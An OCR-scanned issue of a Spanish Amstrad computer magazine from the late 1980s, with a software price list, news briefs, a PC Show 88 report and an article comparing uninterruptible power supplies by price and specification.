. 24.900 

Super Write 2 . 

. 20.500 

Protext. 

. 16.750 

Amstrad Wodstar Express. 

22.000 

H qas de calculo 

Sage PC Planer. 

. 25.700 

Cracker III . 

.. 19 700 

Sideways. 

15.650 

Supercalc 3.21 . 

22.000 

Autoedicidn 

Fontasy. 

22.000 

Fontasy Toolkit . 

8 950 

Newsdesk . 

14 500 

Newsmaster. 

.. 18.256 

Grdficos 

Delta Graph . 

19.350 

K-Graph 2 . 

. 13000 

Turbocad . 

. 28.000 

Llghtpen 4 software (Electric Light)... 

. 10.800 

Generic CAD 3.0. 

33 000 

Utilidades 

Norton Utilities 4.0. 

. 20.500 

Norton commander. 

13.000 

lankey Two Finger Typing . 

6.300 

lankey Crahs Course. 

6 300 

Super Project . 

29.500 

Pc Copy II. 

10.800 

Pc Tools Deluxe . 

. 20 500 

Juegos 

Pistop II . 

5.500 

Crusade In Europe. 

5.500 

Stargllder... 

5.500 

Great Escape. 

5.500 

Colosuss Bridge. 

5.500 

Tomahawk. 

5.500 

Cyruss Ches II . 

5 500 

A. Higgins Snooker. 

5.500 

Spitfire Ace. 

5.500 

Dambusters ... 

5 500 

Bridge Player . 

5.500 

Trivial Pursuits... 

5.500 

World Tour Golf. 

5 500 

Wlzball. 

5.500 

Crazy Cars . 

5.500 

Psion Chess . 

6.500 

Defender of the Crow. 

6.500 

The Paw .. 

. 6 500 

Test Drive. 

6.500 

Leather Goddess ... 

6.500 

Balance of Power. 

6.500 

Chess Master 2000 . 

6.500 

Elite. 

6.500 

S. D. 1. 

6.500 

Border Zone. 

. 6 500 

Bar s Tale . 

6.500 

Flight Simulator II. 

12.500 

Jet . 

12.500 


ROMANTIC ROBOT (CPC) 


Multiface Two + (Hard). 13.500 

The Insider (Desensamblador). 7.500 


SIREN SOFTWARE (CPC) 


TASMAN SOFTWARE 


Ptaa 

Tasword 6128 ... 7.500 

Tasprint CPC. 6.500 

Tascopy CPC . 6.500 

Tas-slng CPC . 8.500 

Tasword PCW. 7.500 

Tasprint PCW . 6 900 

Tas-slng PCW. 9.500 

Tasword PC. 8.500 

Tasprint PC . 8 500 

Tas-slng PC. 10.500 

Tascopy PC. 10.500 


DATABASE SOFTWARE 


Para PCW was. 

Desktop Publisher (Autoedlcldn). 7.700 

Desktop Publisher System (Progra¬ 
ms 4 Interface 4 Ratdn AMS). 25 500 

Master Paint (Programs de dibujo). 5.500 

Master Pack (Scaner Master Paint) ... 25.500 

Mini Office Professional (Paquete Into- 
grado) . 7.700 

Para PC-AMSTRAD 

Mini Office Professional (5 1 25") (Paque¬ 
te integrado) . 12.500 

Starquake (Juego). 5.500 

Para CPC-Disco 

Mini Office II (Programa Integrado). 5.500 


Ptas. 

MICRODESIGN (Autoedlcldn). 7.500 

Cherry Pafnt (Programa de dibujo). 4.900 

Dlscology (Utllidad). 4.900 

Discovery Plus (Utllidad). 6.500 

Print Master (Fuentes de letras). 6.500 

Ultrasound (Generador de sonldo). 6.500 


IVA y ga9t09 de envio Incluidos en el precio . 


— Todos los programas se mandan con informacion y uso en Castellano. 

— Horario de llamadas: de lunes a viernes, de 10 a 1 y de 4 a 9 h. 




















































































































































































































































































































ACTUALIDAD 


§ NUEVAS IMPRESORAS 
BROTHER 


D urante ei pasado 
mes de septiembre, 
Brother lanzo al mercado 
espahol dos nuevas im- 
presoras, la M-2518 y la 
M-3524 L. 

La Brother M-2518 es 
una impresora matricial 
con cabezal de 18 agujas, 
apta para grandes cargas 
de trabajo. Su velocidad 
de impresion es de 
300 cps reales, 70 cps en 
NLQ y 50 cps en LQ. Po- 
see un panel de control 
programable desde el 
que se pueden seleccio- 
nar pasos de escritura. ln- 


Su precio aproximado es 
de 188.000 pesetas. 

En cuanto a la Brother 
M-3524L, se trata de una 
impresora matricial en co¬ 
lor y de alta calidad, con 
cabezal de 24 agujas, 
muy indicada para escri¬ 
tura tipo margarita, grafi- 
cos de alta resolucion en 
color, o aplicaciones de 
gestidn en general, con 
una gran capacidad de 
trabajo y un panel de con¬ 
trol completfsimo que le 
confiere una gran flexibili- 
dad de uso. Su velocidad 
es de 360 cps en High 




terlineados longitud de 
pagina. modos de impre¬ 
sion (negrita, italica, do- 
ble aito-ancho, etc.), 
fuentes de caracteres, 
margenes, etc. Otras ca- 
racterlsticas son ajuste 
automatico del grosor del 
papel, sofisticado sistema 
de arrastre del papel que 
incluye tractor con fun- 
don «parking» y alimen- 
tador opcional de doble 
bandeja, capacidad para 
imprimir original y cinco 
copias, «buffer» de im¬ 
presion de 8 kbytes, etc. 


Speed, 270 cps en 
<<drafi>> y 90 cps en LQ de 
maxima calidad. El “buf¬ 
fer” de impresion es de 
24 6 56 kbytes, segun se 
use o no el down-load. Su 
precio esta en torno a las 
310.000 pesetas. 

Los interesados en am 
pilar la informacion sobre 
estas dos impresoras 
pueden dirigirse a: Com 
pafiia de Equipos para 
Oficina, S. A. Enric Gra¬ 
nados, 65. 08008 Barce¬ 
lona. Telefono (93) 
323 60 15. 



M FUTB0L Y AUSTRAD USER 


E! equipo de los Vikin- 
gos-Amstrad User de la 
Urbanization Fuente del 
Fresno, de Madrid ha de- 
jado el pabellon de nues- 
tra revista muy alto. Parti 
cipti en el campeonato de 


futbolito con motivo de las 
magnificas fiestas patro- 
nales organizados por la 
urbanizacidn y ganaron 
los pariidos que les toed 
jugar. Enhorabuena a es- 
tos chavales. 



■ VIDEOTEX 
AMSTRAD: 
PC1512 VTX Y 
PCI640 VTX 


Ya estan preparados 
los ordenadores con 
posibilidad de videotex. 
La Compahia Telefdni- 
ca ha autorizado la tar- 
jeta Modem con el soft¬ 
ware de emulacidn 
para videotex. Estos 


nuevos ordenadores 
podrdn conectarse a 
cuantas bases de datos 
existan en nuestro 
pais, como por ejemplo 
Iberpac. (El mes que 
viene ampliaremos 
esta informacidn.) 
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ANAYA YEL COMANDANTE NORTON 



s:or..Ht:9.M«n 

NORTON 


VERSION 2 


Estuvimos en la 
presentation que la 
editorial Anaya hizo 
en un centrico hotel 
de Madrid de su nue- 
vo producto: coman- 
dante Norton, primero 
de tres programas 
que van a comerciali- 
zar de aqui al proximo 
verano y que sirve 
como presentacibn de 
Anaya en la industria 
del software. Con 
este programs Anaya 
no nos va a traer algo 
novedoso al mercado, 
ya que el comandan- 
te Norton tan solo 
aporta algunadiferen- 
cia con otros progra¬ 
mas de la misma utili 
dad y mucha especta- 
cularidad a un bajo 
precio. 

El comandante Nor¬ 


ton como caracteristi- 
cas principales tiene el 
poder soportar EGA y 
VGA asi como raton y 
tan solo ocupa en me- 
moria 10K. Su funcio- 
namiento es indepen- 
diente del DOS, lo que 
nos permits tenerlo en 
memoria mientras tra- 
bajamos con otras uti- 
lidades. La forma de 
presentacibn del pro- 
grama es mediante 
pansies, permitiendo 
dos paneles en panta- 
lla que se pueden re- 
ducir, ampliar e inter- 
cambiar, pudiendo ha- 
cer todo tipo de co- 
nexiones. 

El comandante Nor¬ 
ton essara disponible en 
el mercado el proximo 
mes de noviembre al 
precio de 10.800 ptas. 
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Menu definido pot eI itsuario 


■ AMSTRAD Y EL 
PLAN ALHAMBRA 


La Junta de Andalucia ha 
decidido equipar sus escue- 
las e institutes, bajo la pro- 
teccibn del Plan Alhambra 
de introduccibn de la infor- 
rn&tica en la educacibn, con 
PCs 1512. La operacion, 
que supone el 25 por 100 
del total de ordenadores 
previstos para comprar en 


esteaho—unos400 PCs—, 
ha sido desarrollada por el 
departamento Profesional 
de Amstrad Espana. 

Asi pues, los chavales an- 
daluces —tenemos un mon- 
tbri de lectores en esta re¬ 
gion— se podran familiari- 
zar aun m&s con los ordena¬ 
dores Amstrad. 


OPEN ACCESS 
II PLUS 


El proximo lanzamiento 
de una version mejorada 
de Open Access II permi- 
tira a la multinacional SPI 
afianzar su posicion en el 
mercado del software. 

Entre otras mejoras, 
Open Access II Plus inclu- 
ye un modulo estadistico 
para la hoja electronics, 
un corrector ortografico y 


particion automatics de 
palabras para el trata- 
miento de textos. Por otra 
parte, las posibilidades de 
programacion en SQL del 


modulo de base de datos 
son ahora mayores y se 
ha incorporado al paquete 
una herramienta para pa- 
sar de Windows a DOS. 


Uno de los altos res- 
ponsables de la empresa 
en Estados Unidos co- 
mentb que SPI presenta- 
ra en otoho una version 
preparada para ejecutar 
se bajo OS/2 y aseguro 
que la empresa no ha 
considerado la posibilidad 
de desarrollar una version 
para Unix. 
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Amstrad PC 2000, estrella de la 


L A once feria organizada 
por la prestigiosa revista 
Personal Computer 
World ha marcado la di- 
ferencia con sus predecesoras 
con el sustancioso paso adelan 
te que ha dado el mercado de 
ordenadores con las nuevas 
maquinas basadas en los micro- 
procesadores 80286 y 80386. 
La gran disparidad de productos 
presentados ha obligado a los 
organizadores a dividir el espa- 
cio en tres areas. 

1. Business and 
Professional Hall 

En este salbn, situado a la iz- 
quierda segim se entra. estaban 
la mayor parte de las empresas 
que presentaban los ya popula- 
res 286 y 386. Las compahias 
inglesas como CAS Computers, 
con fabricas propias en la isla de 
la Relna Madre, tenian sus or¬ 
denadores en exposicion y con 
unos precios sensiblemente su- 
periores a los de Amstrad. Otras 
compahias que presentaron pro¬ 
ductos en este sector, como 
Walters International, han tenido 



Afu^fioo han sitio las Bmor&&a. 


Muchas han sido las empresas que han 
presentado en esta feria sus nuevos 
ordenadores basados en los microproce- 
sadores 80286 y 80386, pero nl Hanta- 
rex, Toshiba, CAS y Walters Internatio¬ 
nal han logrado acercarse a la expects- 
cion que despertaron los nuevos Ams¬ 
trad PC 2000. De esto y de las impresio- 
nantes bajadas de precios en el merca¬ 
do del software y de la gran cant Ida d de 
nuevos Juegos os hablaremos a con- 
tinuacidn. 
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A partir de ahora 
aquellas empresas que 
no hagan sus 
presentaciones con 
graficos impactantes y 
superdesarrollados sera 
porque quieren. 
Bussines Presentations 
tiene una coleccion de 
pantallas y graficos 
impresionante. 


Interes. Mucho interns y 
expectacion por conocer 
la nueva serie 2000 de 
Amstrad. 



que bajar los precios al no ha- 
ber cubierto las expectativas de 
ventas. Otras marcas hacfan lo 
propio con la mirada aienta al 
stand de mister Sugar. 

Tambien vimos en esta 6rea 
el scanner Goldscan de Mirror- 
soft, profesional, a un precio 
bastante bajo: 170.000 pesetas; 
el SCANMAN de Logitech (foto 
1) a 400.000 pesetas, y una cu- 
riosa maquina de Olivetti, la 
MT 200. destinada al mercado 
educative, con MSDOS y com¬ 
patible 8086 a 200.000 pesetas, 
aproximadamente. 

En cuanto a software se refie- 
re. lo mas destacable es la pre- 
sentacion del Wordperfect.5, re- 
cibido con gran interes por el pu¬ 
blico; el Big Plan, ocho aplica- 
ciones en un paquete integrado 
de Logotron Bussines con un 
precio asequible y la red Main- 
lain de Sagesoft, que es capaz 
de enviar datos a la velocidad de 
4 megabites por segundo y no re¬ 
quire servidor, por 100.000 pe¬ 
setas. 

2. Central Hall 

El salon de Amstrad, como se 
llamaba popularmente, en el 
que estaban Atari, Comodore, 
Philips. 

La serie PC 2000, ya explica- 
da en otro lugar de esta revista, 
estrella real de la feria, causd la 
expectacion esperada y muchas 
eran las personas que se intere- 
saban por las maquinas y mu- 
chos bs detallistas que querfan 
hacer pedidos en firme de las 
mismas. Desgraciadamente 
hasta finales de aho no estaran 
disponibles en el mercado in¬ 
gles. 

El Sinclair PC 200 era exami- 
nado con interes y habia jdve- 
nes muy interesados, jugando y 
probando las posibilidades de 
escritura, bastante comodo pa- 
rece, y de otros programas. 
Tambien vimos los nuevos mo- 
nitores y los Modems extrapia¬ 
nos SM 2400 con interface 
RS 232, compatible Hayes, y 
V 21, V 22, V 22 bis, V 23 y 
otras caracteristicas que hacen 
que su precio en Inglaterra sea 
muy atractivo: 50.000 pesetas. 
Aunque un poco escondida ha¬ 
bia una zona musical muy inte- 
resante con muchos MIDIs y 
programas para la creacidn de 
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Uno de los multiples «stands» de la 
revista PCW que organiza esta feria. 


musica con PCs, Atari y cual- 
quier otro ordenador. Una famo 
sa revista, «Sound and Sound», 
patrocinaba varios actos relati¬ 
ves al tema. Computer Music 
Sistems presento el MIDI Star¬ 
ter Kit, que permite crear musi¬ 
ca, editar sonidos con sintetiza- 
dores, por algo mas de 30.000 
pesetas. Otras empresas como 
MIDI music presentaban hasta 
veinte novedades, desde el Pro¬ 
midi Studio System hasta el Jim 
Miller’s personal composer 
system. Parece que definitiva- 
mente la musica ha entrado en 
el mundo de los ordenadores... 
o quiza sea al reves. 

AMS (Advanced Memory Sis¬ 
tems) presento su solucidn de 
Autoedicion. La vimos funcionar 
y no presentaba caracteristicas 
extraordinarias de mencibn. La 
compania ROMBO ha presenta- 
do un digitalizador para PC: el 
VIDI-PC, a un precio increible- 
mente bajo, 25.000 pesetas 
(foto 2). 


Mirrorsoft y Fleet Stret. El 
famoso programa de 
autoedicidn en PCW, 
ahora para PC. 


El espaclo de 
Locomotive 
software, 
espectacular, 
como 
siempre, y 
sus nuevos 
productos: 
Locotont, 
Locofile y 
Basic 2 Plus 


Simulador 
espacial de 
Microprose, 
Interml- 
nables 
colas a 
todas 
horas para 
probarlo. 


El Modem Amstrad 
SM 2400. Restablecidos 
ya los problemas de 
abastecimiento. 


3. Leisure Hall 

En este tercer salon dentro de 
la feria se notaba que la compe- 
tencia era mas atroz. Todas las 
empresas productoras de video- 
juegos preparaban la campaha 
navideha y las novedades esta- 
ban presentes en una voragine 
de ruido y accidn. Monitores gi- 
gantes, maquinas alucinantes, 
dragones de cartdn, romanos y 
cartagineses, superman y los 
bolidos del future daban un co¬ 
lor muy peculiar a esta zona. Es- 
taban todos: US Gold, Ocean, 
Elite Systems, Loriciel, Mirror- 
soft, Domark, Code Master y 
hasta la espahola Dinamyc pre- 
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Vimos tambien este disco duro 
para el PPC. Los productores 
son CUMANA y prometemos 
daros mis informaclon en 
proximos numeros. 






Music Machiner, 
este perifOrico es 
Music Sampler, 
Caja dirit, sintetiza 
una bateria, 
interface midi de 
entrada y salida 
para Amstrad y 
Spectrum. 


sentaban sus novedades a gol- 
pe de imaginacion. Varias com- 
peticiones, unas patrocinadas 
por Pepsi y otras por las revis¬ 
tas de juegos hacian las delicias 
de los jdvenes. Los principales 
programadores de videojuegos 
visitaron los stands de sus co- 
mercializadoras, firmando auto- 
como estrellas de cine, 
causando remolinos de gente 
que iban de un stand a otro, 

Telecomsoft anuncio seis 
nuevos juegos: US Golds pre- 
sento las previews de Tiger 
Road y Led Storm, ofreciendo a 
los visitantes la posibilidad de 
ganar una moto Kawasaki en 
cualquiera de las competiciones 
de EPYx. El catalogo de Blue Ri- 
bon Software de otono presen- 
taba novedades como Wulpac, 
Hi-q Quiz y Sintax, en colabora- 
cion con Elyte presento «A 
question of sport y Loriciels tjraia 
de Francia su nuevo «944 I ur- 
bo cup racing».,Otras noveda¬ 
des como Robocorp, Rambo III 
y otras adaptaciones de pelicu- 
las estan preparadas para la 
venta. 

Como deciamos al principio, 
tres salones en una gran feria 
que situa el otono informatico en 
un gran nivel de novedades in- 
formaticas. Los ingleses estan 
en el buen camino. Hay que ver 
lo que da de si el SIMO. Espe- 
remos que muchas de las nove¬ 
dades que os hemos menciona- 
do en estas paginas se puedan 
tocar en las ferias espanolas 
que quedan hasta que finalice el 
afio. 


(Nota: los precios son 
aproximados y no incluyen el 
IVA.) 




Us Gold tenia el 
campeonato 
nacional de juegos 
de ordenador y la 
challenge, con 
Pepsi Cola, tenia 
un impresionante 
«stand». 


Dinamic, unica empresa espanola con 
«stand», en el PC Show 88. 
promocionaron el Game Over II. 


Nuestro enviado especial a la feria con 
su PPC 512, terminando de escribir el 
reportaje en la habitacion del hotel. 
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Sistemas de alimentacion 
ininterrumpida (SAI) 


LA SOLUCION A 

LAS PERTURBACIONES 

EN LA RED ELECTRICA 


La enorme cantidad 
de tareas realizadas 
porlos ordenadores 
actualmente hace de 
vital importancia 
que estos reciban 
correctamente la 
energia electrica que 
permite su 
funcionamiento. 


I lnmersos como estamos en el 
baile de cifras al que nos someten 
los fabricantes para demostrarnos 
la potencia de sus equipos (veloci- 
dad del microprocesador, cantidad 
de RAM, numero de Ks de los so- 
portes de almacenamiento de me- 
moria, resolucion grafica, etcetera), 
olvidamos que los ordenadores, al 
igual que otros aparatos electrdni- 
cos, se nutren de electricidad. Toda 
la rapidez y capacidad de almace¬ 
namiento de nuestra maquina no 
servira de nada si se va la luz, 
como decimos coloquialmente, ya 
que la informacion contenida hasta 
ese momento habra desaparecido. 
Los cories en la red electrica, los 


microcodes, la variacion de la ten- 
sidn. de la frecuencia, etcetera, son 
algunas de las alteraciones en la 
recepcion de energia ante las que 
mas vale estar preparado que tener 
que lamentarse posted: rmente. 

Hay varias formas de evitar los 
desagradables incidentes comenta- 
dos, ya sea utilizando transforma- 
dores de alto aislamiento o estabi- 
lizadores de tensidn, pero estos 
solo nos protegerian de ruidos y 
transistorios de tension, en el pri¬ 
mer caso, y de las variaciones de 
tension, en el segundo. Aun hay 
una tercera opcion, la del acondi- 
cionador de linea, que combina las 
caracteristicas de los dos anterio- 
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res, pero que no elimina las varia- 
ciones de frecuencia. Estas solu- 
ciones las podrlamos denominar 
parciales, ya que en ningun caso 
pueden hacer frente a los microcor- 
tes y codes en el fluido electrico. 
Por esto mlsmo, probablemente, la 
manera mas definitive de solventar 
los problemas energeticos en nues- 
tro home computer o PC sea un SAI 
(Sistema de Alimentacion Iriin- 
terrumpida), Estos, que ya estaban 
siendo utilizados en campos tales 
como el medico, quimico, seguri- 
dad, etcetera, aparecen ahora con 
fuerza en el mundo de la informati- 
ca personal. 

Composicion de un 

SAI 

En su forma mas elemental, un 
SAI esta formado por un ondulador 
o modulador BY-PASS estatico 
(comunmente es utiiizado. aunque 
hay modelos que no lo llevan). las 
baterias y su rectificador cargador. 
Cada uno de estos componentes 
tiene las siguientes funciones: 

Ondulador. Su mision es la mas 
impodante. En los sistemas On-line 
regula tanto la electricidad de la red 
como la de las baterias, para que 
no se produzcan microcodes, pi- 
cos, ruido y transistorios. En los sis¬ 


temas Off-line solo controla la elec¬ 
tricidad generada en las baterias 
cuando se ha producido un code en 
la red. Esto significa, en la mayoria 
de los casos, que las pedurbacio- 
nes que se den en la red pasaran 
sin ser corregidas a nuestro orde- 
nador. El diseho del ondulador es 
de vital impodancia para el SAI. 
puesto que de el dependera la ca- 
lidad y buen funcionamiento de 
este ultimo. Es fundamental que 
este bien refrigerado para sopodar 
horas de funcionamiento. incluso 
bajo sobrecarga, sin que su rendi- 
miento decaiga ostensiblemente. 
Tambien debe aceptar un gran 
margen de variacion en la entrada 
de corriente, a la vez que debe su 
ministrarla con estabilidad a la sali 
da, controlando asimismo la fre¬ 
cuencia. 

BY-PASS estatico. Si falla el on¬ 
dulador del SAI. el BY-PASS con 
muta a la red para impedir el code 
de suministro de energia. Tambien 
senalara el fallo para que este pue- 
da ser resuelto. En algunas ocasio- 
nes asistira a la red, principalmen- 
te en los momentos en que se pro¬ 
duce una sobrecarga, como son el 
arranque del disco duro o de aigu 
nas impresoras. Normalmente al 
BY-PASS se le tiene por una pro¬ 
tection extra, casi imprescindlble 
en ios SAI de mas de 3000 w. 



Baterias. Son de gran impodan¬ 
cia, no olvidemos que seran las en- 
cargadas de alimentar al ordenador 
en caso de un code de electricidad, 
y tienen que ser capaces de admi- 
tir todas las exigencias del ondula¬ 
dor sin bajas de tension ni agota- 
miento prematuro. Actualmente 
existen modelos que pueden entre- 
gar fuedes corrientes instantaneas. 
ayudando al ondulador a mantener 
unas caracterlsticas constantes y 
estables en el suministro de ener¬ 
gia. Del numero de baterias y de su 
potencia dependera el tiempo de 
autonomia del SAI. Las mas intere- 
santes son las de plomo/calcio o 
plomo/antimonio, ya que a su buen 
compromiso calidad/precio unen su 
talta de mantemmiento. Tampoco 
desprenden llquidos corrosivos o 
gases peligrosos. 

Rectificador cargador de bate¬ 
rias. Este ultimo elemento basico 
se encarqa de converiir la corriente 


S.A. 

(. S.A.I 

1. S.A.I. S.A. 

1 S.A.I 

1 S.A.I 




AMBAR OLIMPIC 


IPC 400 


TEMACSA TUPS 
3000H/500H/750H 



WrrtrwcY tHrt m 


en Hard 






















I 


I 


1 


alterna en continua para recargar 
las baterias, produciendo la menor 
cantidad de «rizado» o alteracionss 
en la tension posibles, ademas de 
abastecer de energla al ondulador 
para su correcto funcionamiento. 
De esta forma, y en caso de code 
eiectrico, la energia para la alimen- 
tacion del SAI s6lo sale de las ba- 
terias, debiendo recargar estas 
cuando la red vuelva a funcionar y 
dotar de la energia suficiente al on¬ 
dulador. Aunque las baterias no es- 
ten totalmente recargadas. 

Conexion 
y empfazamiento 

La conexion de un SAI es suma- 
mente sencilla, ya que lo unico que 
deberemos hacer es desembalarlo 
y conectarlo a la red electrica. Des¬ 
pues de esto podemos enchufar 
nuestro ordenador al SAI y trabajar 
con la tranquilidad que da pensar 
que ningun «apagdn» inoportuno 
va a paralizar nuestra tarea. 

El emplazamiento de un SAI de- 
pende, en gran parte, del tamano 
de este, asf como de las dimensio- 
nes del lugar de trabajo. General- 
mente, los destinados a utilizarse 
con home computers y PCs pueden 
situarse encima de la mesa donde 
dstos se hallen o, si su volumen es 


un poco mas grande, al lado en el 
suelo. 

Funcionamiento 

Al conectar un SAI, este trabaja 
de la siguiente manera: la electrici- 
dad pasa a traves de un rectifica- 
dor que convierte la corriente alter¬ 
na en continua, ya que es la utiliza- 
da por los acumuladores, y asi po- 
der recargar las baterias si lo nece- 
sitan, al mismo tiempo que suminis- 
tra energia a! ondulador. Este se 
encargara de convertir la corriente 
continua en alterna, y tambien de 
que la tension de salida sea esta- 
ble o, a lo sumo, con poco margen 
de oscilacion. Antes de llegar la 
corriente al ordenador puede pasar 
por un BY-PASS, si el SAI lo Neva. 

De esta forma, el grdfico de fun¬ 
cionamiento de un SAI quedaria de 
la siguiente forma: 


Cuando se produce un code 
eiectrico el SAI empieza a suminis- 
trar energia con sus baterias, de- 
pendiendo su autonomia del nurne- 
ro y potencia de estas, como tam- 
bidn de la carga y tiempo durante 
el que hagamos funcionar el SAI. 
No obstante, se puede decir que el 
soporte minimo suele ser de 5 mi- 
nutos y el maximo de 35. 

Los SAI para home computers no 
tienen por qu6 tener mas de 200 va. 
Para los PC basta con una poten¬ 
cia de 300 va, con la que tambien 
se podra alimentar una impresora, 
por lo que para una utilizacion per¬ 
sonal basta con un SAI de 400 va. 
A partir de esta cifra los sistemas 
de alimentacion ininterrumpida van 
aumentando su potencia para eu- 
brir las necesidades de una oficina, 
mas o menos grande, hasta llegar 
a los destinados a usos industrials 
de 500 Kva o mas. Segun aumenta 
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El gran incremento de los pro- 
cesos basados en el ordenador 
ha hecho de este un instrumento 
de vital importancia. 

Desafortunadamente el orde¬ 
nador esta sujeto a fallos causa- 
dos por una alimentacidn defi- 
ciente. La calidad exigida a la ali¬ 
mentacion de los ordenadores 
ha aumentado a medida que ha 
aumentado la velocidad y presta- 
ciones de estos. La calidad del 
suministro de energia a traves de 
la red comercial ha ido degradan- 
dose a medida que se han conec- 
tado mas y mayores potencias. 
Por estos dos motivos se ha he¬ 
cho imperativo proporcionar al 
ordenador una alimentacion se- 
gura, 

Existe un dilema a la hora de 
decidir que tipo de proteccion es 
la mas adecuada. Hay varios sis- 
temas disponibles con diferentes 
grados de proteccion. 

— Transformador de alto ais- 
lamiento con pantalla electrosta- 
tica: atenua los ruidos y transis- 
torios de tension de modo co¬ 
mbo que aparecen en la red. Sin 
embargo, no puede proteger a la 
carga contra transistorios en 
modo diferencial ni caidas de 
tension ni sobretensiones. 

— Estabilizador de tension: 


n 

n 

■ 

protege a la carga contra las va- 
riaciones de tensidn. Algunos 
protegen la carga incluso contra 
variaciones bruscas de tensibn 
de corta duracion. Por otra parte 
no son capaces de eliminar los 
transistorios y el ruido eldctrico 
ni los cortes y microcortes de 
red. 

— Acondicionador de linea: 
combina las caracteristicas del 
transformador de alto aislamien- 
to con pantalla electrostbtica y el 
regulador de tension. Sin embar¬ 
go, no proporciona proteccidn 
contra las variaciones de fre- 
cuencia ni los microcortes de 
red. 

Hay una caracteristica comun 
a todos estos sistemas. Ninguna 
ofrece una proteccidn total de la 
carga contra las perturbaciones 
de la red. Cada una de ellas iie- 
ne potencialmente riesgos de- 
vastadores para el usuario. S6lo 
una solucidn, los sistemas de ali¬ 
mentacion ininterrumpida pro¬ 
porciona el 100 por 100 de pro- 
teccidn frente a transistorios, rui¬ 
dos, variaciones de tension, fre- 
cuencia y cortes de red. 


S. A. I. 


su capacidad de alimentacion, lo 
hace tambidn su volumen. 

En el cuadro realizado para do- 
cumentar este articulo se han in- 
cluido los SAI con potencias ade- 
cuadas para la alimentacidn de los 
home computers y PCs, aunque en 
este ultimo caso deban alimentar 
un disco duro e impresora. Algunas 
de las marcas del cuadro tienen mo- 
delos con mas potencia, pero estos 
entran dentro del uso industrial. 


Conclusion 

Probablemente los SAI son la so- 
lucion mas segura a los problemas 
de suministro energetico a traves 
de la red electrica. No solamente 
nos evitaran desagradables perdi- 
das de informacion, sino que, y esto 
tampoco hay que olvidarlo, pueden 
librar a nuestro ordenador de peii- 
grosas subiaas de tension, las cua- 
les podrian tener catastroficas re- 
percusiones para su hardware. 

Cuando se ha tornado la decision 
de comprar un SAI, hay que tener 
muy en cuenta varios factores: cal- 
cular exactamente nuestras necesi- 
dades, prestaciones del SAI {poten¬ 
cia, tiempo de respaldo, etc.), garan- 
tla y servieio postventa que nos ofrez- 
can y, como no, precio de venta. 

Eduardo Ruiz de Velasco 
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MARCA Y 
MODELO 

POTENCIA 

TENSION DE ENTRADA 

TENSION DE 
SALIDA 

AUTONOMIA 

Ambar Europa 450 VA 

450 VA 

195 a 270 V monofasica 

220 V ± 2 % 

20 min. al 75 % po 

Ambar Olimpic 600 VA 

600 VA 

195 a 265 V monofasica 

220 V ±2 % 

20 min. al 75 % poo 

I 

Cenertronics C-400 

400 VA 

187 + 242 V 

220 V ± 1,6%. 

12 min. al 75 % pot) 

Cenertronics C-800 

800 VA 

187 a 242 V 

220 V ± 1,6 % 

—fl 

10 min. al 75 % po3 

IPC - IPC 400 

400 VA 

220 V 

220 V + 1 % 

10 min. a plena poi3 

IPC - IPC 400 plus 

400 VA 

220 V 

220 V Hr 1 % 

1 

10 min. a plena pol3 

NGS - NGS 400 

500 VA 

220 a 240 V 

220 V 

9 min. al 75 % po3 

Merlin Gerin 

Micropac PC 250 

250 

195 a 264 V 

220 ± 5 % 

10 min. a plena potO 

Merlin Gerin 

Micropac PC 500 

500 VA 

195 a 264 V 

220 ± 5 % 

10 min. a plena poi 

Merlin Gerin 

Micropac SX 300 

300 VA 

220-240 V ± 10 % 

220-240 ± 5 % 

10 min. a plena pot 

Merlin Gerin 

Micropac SX 600 

600 VA 

220-240 V ± 10 % 

220-240 ± 5 % 

10 min. a plena pot 

Ondyne 

Power LAB 400 

400 VA 

220 V 

220 V 

15 min. (standard) t 

Ondyne 

Power LAB 800 

800 VA 

220 V 

220 V 

15 min. (standard) 

Ondyne 

Power LAB 1200 

1200 VA 

220 V 

220 V 

15 min. (standard) 

Ondyne UPS 600 VA 

600 VA 

165 a 253 V 

220 V ± 2 % 

15 min. (standard) 

Temacsa TUPS 300 H 

300 VA 

198 a 242 V 

220 V 

10 min. a plena pol 

Temacsa TUPS 500 H 

500 VA 

198 a 242 V 

220 V 

10 min. a plena pot 

Temacsa TUPS 750 H 

750 VA 

198 a 242 V 

220 V 

10 min. a plena pol 
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D1MENSIONES 

PESO 

OBSERVACIONES 

PESETAS 

DISTRIBUIDOR 

lot. 

500 x 335 x 98 mm 

18 Kg 

Kit de ampliation al triple de auto- 
nomia adaptable por el usuario Sis- 
tema ON-LINE 

139 000 


lot 

367 x 307 x 390 mm 

35 Kg 

Sistema ON LINE 



lot 

400 535 x 223 x 380 mm 

27 Kg 

Sistema ON LINE 


CENER 

Francisco Sdncha 8 

28024 MADRID 

Tel 729 04 00 

lot 

535 x 223 x 380 mm 

44 Kg 

Sistema ON-LINE 


ot 

330 x 180 x 140 mm 

12 Kg 

Sistema OFF-LINE 

89 900 

SPRIND S A 

Ldpez de Hoyos 27 

28006 MADRID 

TeSs 411 17 04-411 12 57 

ot 

330 x 180 x 140 mm 

12 Kg 

Sistema ON-LINE 

139 900 

ot 

433 x 247 x 132 mm 

16 Kg 

Sistema OFF LINE, pero regula picos 
y caidas de tension 


Pol g Industrial Dea 24 

20 80 OYARZUN 
(Gulpuzcoa) 

Tel (943) 49 25 07 

ot 

400 x 135 x 300 mm 

14 Kg 

Sistema OFF LINE 

84 000 

MERLIN GERIN 

Luisa Fernanda, 12 

28008 MADRID 

Tel 542 62 87 

ot 

400 x 135 x300 mm 

16 Kg 

Sistema OFF LINE 

113 000 


Dt 

513 x 187 x 410 mm 

40 Kg 

Sistema ON LINE 

176 800 


Dt. 

513 x 187 x 410 mm 

45 Kg 

Sistema ON-LINE 

263 500 

DNDYNE 

Conchabamba 13 

28016 MADRID 

Tels 405 18 11 98 


460 x 160 x 140 mm 

15 Kg 

Sistema OFF-LINE 

89 000 



360 x 158 x 436 mm 

30 Kg 

Sistema OFF-LINE 

179 000 



360 x 158 x 436 mm 

40 Kg 

Sistema OFF-LINE 

249 000 



500 x 220 x 420 mm 

70 Kg 

Sistema ON-LINE 

265 000 


Dt 

290 x 190 x 108 mm 

11 Kg 

Sistema OFF LINE 

77 500 

TEMACSA 

A canlo 25 

Dt 

330 x 250 x 125 mm 

20 Kg 

Sistema OFF LINE 

110 700 

28029 MADR D 

Tel 733 74 45 

Dt 

330 320 x 135 mm 

26 Kg 

Sistema OFF LINE 

139 500 
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AMSTRAD USER cambia 
de direccion 



Esperantos vuestras cartas y llamadas. Gracias. 






Y tambien... 

Inforclinic 

30 

XyWrite ill 

34 

Psion Organizer 

40 

Trucos 

44 

Starquake 

46 

Ikari Warriors 

48 

Advanced Flight 

50 

Trainer 

